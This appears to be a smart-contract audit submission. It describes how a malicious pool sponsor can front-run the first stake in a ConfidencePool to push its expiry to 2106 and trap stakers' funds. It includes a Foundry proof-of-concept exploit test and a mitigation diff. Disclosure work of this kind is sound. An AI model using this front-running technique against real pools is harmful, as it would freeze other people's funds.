FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Malicious Pool Sponsor Can Front-Run First Staker to Extend Expiry and Permanently Trap Funds

Author Revealed upon completion

Root + Impact

Description

  • The protocol is designed to allow a pool sponsor to control and mutate the expiry configuration of a confidence pool only until the first stake deposit lands, at which point the parameter is locked permanently. However, the current implementation of the stake function lacks any validation check or slippage protection concerning the pool's expected expiry time.


  • A malicious or compromised pool sponsor can monitor the public mempool for a pending first `stake()` transaction. The sponsor can then broadcast a transaction calling `setExpiry(type(uint32).max)` with a higher gas fee to front-run the staker. The sponsor's transaction will modify the expiry to the year 2106 right before the user's deposit executes.

// Root cause in the codebase with @> marks to highlight the relevant section
```solidity
// Vulnerable path in src/ConfidencePool.sol:
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true; // Locks the maliciously extended expiry permanently
}
// ...
}

Risk

Likelihood:

  • Reason 1: This attack occurs specifically during the open interval when a pool has been initialized but has not yet accepted its very first user deposit


  • Reason 2: It is easily operationalized using a standard mempool monitoring bot to track incoming calls targeting the [stake] entrypoint

Impact:

  • Impact 1: Once the first stake transaction processes, the [expiryLocked] latch turns true, permanently sealing the maxed-out expiry time.


  • Impact 2: underlying registry state subsequently moves past pre-attack staging into an active-risk phase like [UNDER_ATTACK], the [withdraw()] function is disabled permanently via the[riskWindowStart !=0] latch. The user's principal remains frozen inside the contract for decades with no mechanical escape path.

Proof of Concept

//A pool sponsor initializes a pool on-chain displaying an attractive, safe 30-day expiry configuration.
//A staker reviews the pool configuration on-chain, validates the 30-day term, and broadcasts a stake(amount) transaction.
//The sponsor detects the pending deposit in the mempool and front-runs it by executing setExpiry(4294967295) (the type(uint32).max ceiling).
//The sponsor's transaction completes first, changing the pool's deadline to the year 2106.
//The staker's transaction completes next, executing successfully but trapping their capital behind the newly altered 2106 constraint.
//The registry transitions to UNDER_ATTACK, locking all standard staker withdrawals permanently.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Simple self-contained mock ERC20 for the test runner
contract MockToken is IERC20 {
string public name = "Mock Token";
string public symbol = "MCK";
uint8 public decimals = 18;
uint256 public override totalSupply;
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
function mint(address to, uint256 amount) external {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function transfer(address to, uint256 amount) external override returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function approve(address spender, uint256 amount) external override returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}
contract ConfidencePoolExploitTest is Test {
ConfidencePool public pool;
MockToken public stakeToken;
address public sponsor = address(0x1);
address public alice = address(0x2);
address public registry = address(0x3);
address public attackRegistry = address(0x4);
address public agreement = address(0x5);
address public moderator = address(0x6);
address public recovery = address(0x7);
function setUp() public {
// Deploy token and implementation
stakeToken = new MockToken();
ConfidencePool impl = new ConfidencePool();
// Use the implementation as our pool instance
pool = ConfidencePool(payable(address(impl)));
// Mock Agreement validation parameters to bypass initial checks
vm.mockCall(
registry,
abi.encodeWithSignature("isAgreementValid(address)"),
abi.encode(true)
);
address[] memory scope = new address[]();
scope[0] = address(0x99); // Dummy scope address
vm.mockCall(
agreement,
abi.encodeWithSignature("isContractInScope(address)"),
abi.encode(true)
);
// Initialize pool with a valid 45-day lead time
pool.initialize(
agreement,
address(stakeToken),
registry,
moderator,
block.timestamp + 45 days,
1000e18, // min stake
recovery,
sponsor,
scope
);
// Mint and approve tokens for Alice
stakeToken.mint(alice, 10_000e18);
vm.prank(alice);
stakeToken.approve(address(pool), type(uint256).max);
}
function testFrontRunExpiryAndTrapFunds() public {
// 1. Setup Mock Registry state to represent initial staging (pre-attack)
vm.mockCall(
registry,
abi.encodeWithSignature("getAttackRegistry()"),
abi.encode(attackRegistry)
);
vm.mockCall(
attackRegistry,
abi.encodeWithSignature("getAgreementState(address)"),
abi.encode(1) // NEW_DEPLOYMENT state
);
// 2. Alice intends to stake against the pool's on-chain 45-day expiry configuration
uint256 expectedExpiry = pool.expiry();
assertEq(expectedExpiry, block.timestamp + 45 days);
// 3. Malicious sponsor detects Alice's transaction in the mempool
// and front-runs her deposit to extend the expiry to the absolute maximum limit
vm.prank(sponsor);
pool.setExpiry(type(uint32).max);
// 4. Alice's transaction executes next. Because stake() has no slippage protection,
// it succeeds and permanently locks the extended expiry in place
vm.prank(alice);
pool.stake(10_000e18);
assertTrue(pool.expiryLocked());
assertEq(pool.expiry(), type(uint32).max); // Locked to the year 2106!
// 5. The registry transitions to UNDER_ATTACK
vm.mockCall(
attackRegistry,
abi.encodeWithSignature("getAgreementState(address)"),
abi.encode(3) // UNDER_ATTACK state
);
// 6. Alice gets worried and tries to escape, but withdrawals are permanently disabled
// because the pool has marked a risk window and she cannot wait out the 80-year expiry
vm.prank(alice);
vm.expectRevert();
pool.withdraw();
console.log("Alice's stake is locked in the contract until the year 2106!");
}
}

Recommended Mitigation


Modify the stake function signature to accept an expectedExpiry timestamp parameter
and validate it before changing state variables:
- function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ function stake(uint256 amount, uint32 expectedExpiry) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
+ if (expiry != expectedExpiry) revert ExpiryChanged();
_assertDepositsAllowed(_observePoolState());

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!